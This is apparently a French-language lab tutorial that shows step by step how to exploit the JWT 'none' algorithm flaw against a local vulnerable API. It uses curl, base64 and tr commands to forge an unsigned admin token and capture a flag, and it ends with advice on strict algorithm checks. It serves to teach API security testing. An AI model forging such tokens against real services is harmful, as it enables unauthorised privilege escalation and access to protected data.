Introduction
Les JSON Web Tokens (JWT) sont une norme ouverte utilisée pour partager des informations de sécurité entre deux parties : un client et un serveur. Chaque JWT contient des objets JSON encodés, incluant un ensemble de revendications (claims). Les JWT sont signés à l'aide d'un algorithme cryptographique pour garantir que les revendications ne peuvent pas être modifiées après l'émission du jeton.
L'une des leçons les plus importantes pour les débutants est que le contenu d'un JWT est généralement encodé, et non chiffré. Toute personne détenant le jeton peut souvent lire les revendications. La propriété de sécurité repose sur la vérification de la signature, et non sur le secret.
Cependant, une implémentation incorrecte des bibliothèques JWT peut entraîner de graves vulnérabilités de sécurité. L'une des vulnérabilités les plus tristement célèbres est l'attaque par l'algorithme "None". Si un serveur prend en charge l'algorithme none, un attaquant peut modifier la charge utile (payload) du jeton (par exemple, en changeant son rôle utilisateur en 'admin'), définir l'algorithme sur none et supprimer la signature. Le serveur acceptera alors le jeton falsifié comme étant valide.
Dans ce laboratoire, vous interagirez avec une API locale vulnérable. Vous apprendrez à extraire un JWT, à décoder sa structure Base64Url, à manipuler la charge utile pour élever vos privilèges et à exploiter la vulnérabilité de l'algorithme 'none' pour obtenir un accès administrateur non autorisé.
Intercepter et extraire le JWT
Dans cette étape, vous allez interagir avec un serveur API local exécuté sur votre machine. Le serveur dispose d'un point de terminaison de connexion qui émet un JSON Web Token (JWT) pour un utilisateur standard. Votre première tâche consiste à demander ce jeton et à l'enregistrer pour une analyse ultérieure.
Un JWT est généralement envoyé dans l'en-tête HTTP Authorization en tant que jeton Bearer, mais il est initialement fourni au client après une authentification réussie. Nous utiliserons l'outil en ligne de commande curl pour simuler une demande de connexion.
Exécutez la commande suivante dans votre terminal pour accéder au point de terminaison de connexion :
curl -s http://127.0.0.1:5000/api/login
Vous devriez voir une réponse JSON contenant une longue chaîne de caractères séparée par deux points (.). Cette chaîne est le JWT.
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}
Pour faciliter le travail avec ce jeton dans les étapes suivantes, extrayons uniquement la chaîne du jeton et enregistrons-la dans un fichier nommé token.txt. Nous pouvons utiliser grep avec une expression régulière pour analyser la sortie JSON.
Exécutez la commande suivante pour enregistrer le jeton :
curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt
Vous pouvez vérifier que le jeton a été correctement enregistré en affichant le contenu du fichier :
cat token.txt
Gardez ce jeton à portée de main, car nous disséquerons sa structure à l'étape suivante.
Décoder la structure du JWT
Dans cette étape, vous allez décomposer le JWT en ses composants principaux et les décoder pour comprendre les informations qu'ils contiennent.
Un JWT standard se compose de trois parties séparées par des points (.). La première partie est l'en-tête (Header), qui contient des métadonnées sur le jeton, telles que l'algorithme de signature utilisé (par exemple, HS256). La deuxième partie est la charge utile (Payload), qui contient les revendications ou données réelles comme le nom d'utilisateur, le rôle et la date d'expiration. La dernière partie est la signature (Signature), qui est utilisée pour vérifier que l'expéditeur du JWT est bien celui qu'il prétend être et pour garantir que le message n'a pas été modifié en cours de route.
Cette séparation est importante car de nombreuses attaques JWT ciblent la confusion sur la partie qui peut être modifiée en toute sécurité et celle qui doit être protégée cryptographiquement.
L'en-tête et la charge utile sont encodés à l'aide de l'encodage Base64Url. Cela signifie qu'ils ne sont pas chiffrés ; quiconque intercepte le jeton peut facilement décoder et lire le contenu.
C'est pourquoi les décisions d'autorisation sensibles ne doivent jamais reposer sur le fait que les revendications sont cachées. Elles doivent reposer sur une validation correcte de la signature.
Tout d'abord, divisons le jeton en ses composants Header et Payload et enregistrons-les dans des fichiers séparés. Nous utiliserons la commande cut pour diviser la chaîne par le délimiteur .. Dans un JWT, le caractère point sépare les trois sections, donc cut est un moyen rapide de séparer le jeton sans avoir besoin d'un outil JWT spécial.
## Extraire la première partie (Header)
cat token.txt | cut -d '.' -f 1 > header.b64
## Extraire la deuxième partie (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64
Maintenant, décodons l'en-tête. Étant donné que l'encodage Base64Url supprime parfois les caractères de remplissage (=) à la fin, les outils de décodage Base64 standard peuvent générer des erreurs. Pour notre en-tête spécifique, la longueur est parfaitement alignée, nous pouvons donc le décoder directement à l'aide de la commande base64 -d :
cat header.b64 | base64 -d
Vous devriez voir une sortie similaire à celle-ci, indiquant que le jeton utilise l'algorithme HS256 :
{"alg":"HS256","typ":"JWT"}
Ensuite, décodons la charge utile. La chaîne de la charge utile peut nécessiter un remplissage pour être décodée avec succès par l'utilitaire base64 standard. Nous pouvons ajouter == pour garantir un décodage correct :
echo "$(cat payload.b64)==" | base64 -d
La sortie révélera les revendications à l'intérieur du jeton :
{"username":"guest","role":"user"}
Notez que votre rôle actuel est défini sur user. Si vous essayez d'accéder au point de terminaison /api/admin avec ce jeton, l'accès vous sera refusé. Vous pouvez le tester en exécutant :
curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin
Le serveur répondra avec une erreur d'accès refusé. Dans les étapes suivantes, nous manipulerons ces parties décodées pour contourner cette restriction.
Exploiter l'algorithme 'None'
Dans cette étape, vous préparerez la première partie de notre attaque en modifiant l'en-tête JWT pour exploiter la vulnérabilité de l'algorithme none.
Lorsqu'un serveur vérifie un JWT, il vérifie le champ alg (algorithme) dans l'en-tête pour savoir quel algorithme cryptographique a été utilisé pour créer la signature. Certaines bibliothèques JWT mal configurées prennent en charge un algorithme appelé none. Si un attaquant modifie le champ alg en none, le serveur peut ignorer complètement le processus de vérification de la signature. Cela permet à l'attaquant de modifier la charge utile sans avoir besoin de la clé secrète du serveur pour générer une signature valide.
Créons un nouvel en-tête JSON qui spécifie l'algorithme none.
echo -n '{"alg":"none","typ":"JWT"}' > new_header.json
Maintenant, nous devons ré-encoder cette nouvelle chaîne JSON au format Base64Url. Le format Base64Url est légèrement différent du Base64 standard : il supprime les caractères de remplissage = à la fin, remplace + par - et remplace / par _.
Nous pouvons réaliser cet encodage en utilisant une combinaison de commandes Linux standard : base64 pour l'encodage initial, et tr pour traduire et supprimer les caractères spécifiques.
Exécutez la commande suivante pour encoder le nouvel en-tête :
cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64
Vérifions le contenu de notre en-tête nouvellement encodé :
cat new_header.b64
Vous devriez voir la chaîne Base64Url suivante :
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
Cette chaîne représente notre en-tête malveillant. En utilisant cet en-tête, nous demandons au serveur API vulnérable de ne pas valider la signature de notre jeton.
Modifier les revendications de la charge utile (Rôle Admin)
Dans cette dernière étape, vous allez modifier la charge utile du JWT pour élever vos privilèges, assembler le jeton falsifié et l'utiliser pour accéder au point de terminaison administrateur restreint.
Plus tôt, nous avons découvert que notre charge utile contenait "role":"user". Nous voulons changer cela en "role":"admin".
Tout d'abord, créez un nouveau fichier JSON contenant la charge utile modifiée :
echo -n '{"username":"guest","role":"admin"}' > new_payload.json
Ensuite, tout comme nous l'avons fait avec l'en-tête, nous devons encoder cette nouvelle charge utile au format Base64Url. Nous utiliserons la même combinaison de commandes base64 et tr :
cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64
Vous pouvez afficher la charge utile encodée en exécutant :
cat new_payload.b64
Nous avons maintenant notre en-tête malveillant (new_header.b64) et notre charge utile élevée (new_payload.b64). La dernière étape consiste à construire le JWT final.
N'oubliez pas que le format d'un JWT est Header.Payload.Signature. Comme nous utilisons l'algorithme none, il n'y a pas de signature. Cependant, le serveur s'attend toujours à ce que le jeton comporte trois parties séparées par des points. Par conséquent, notre jeton falsifié ressemblera à Header.Payload.. Le point final est important car il maintient le jeton dans la structure à trois parties attendue, même si la partie signature est vide.
Assemblons le jeton falsifié et enregistrons-le dans un fichier :
FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt
Vérifiez que le jeton semble correct :
cat forged_token.txt
Enfin, il est temps de tester notre exploit. Nous enverrons une requête au point de terminaison restreint /api/admin, en passant notre jeton falsifié dans l'en-tête Authorization.
curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin
Si l'exploit réussit, le serveur acceptera l'algorithme none, ignorera la vérification de la signature, lira votre rôle comme étant admin et vous accordera l'accès. Vous devriez voir un message de succès contenant un drapeau secret !
{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}
Résumé
Félicitations ! Vous avez terminé avec succès le laboratoire sur les principes de base de la manipulation de JWT.
Dans ce laboratoire, vous avez appris à :
- Intercepter et extraire des JSON Web Tokens à partir de réponses API.
- Disséquer la structure d'un JWT et décoder son en-tête et sa charge utile encodés en Base64Url.
- Comprendre les graves implications de sécurité de la vulnérabilité de l'algorithme 'none'.
- Créer manuellement un JWT malveillant en modifiant les revendications de la charge utile et en contournant la vérification de la signature pour obtenir une élévation de privilèges.
Ces compétences sont fondamentales pour comprendre la sécurité des API et identifier les failles d'authentification lors de tests d'intrusion ou d'audits de sécurité. Dans ce laboratoire, vous avez abusé d'un mode de vérification faible en définissant l'algorithme sur none. Dans d'autres scénarios, les attaquants peuvent obtenir un résultat similaire s'ils parviennent à découvrir le véritable secret de signature et à générer leur propre jeton valide. Assurez-vous toujours que vos applications appliquent une vérification stricte de l'algorithme, protègent soigneusement les secrets de signature et n'acceptent jamais l'algorithme none dans les environnements de production.



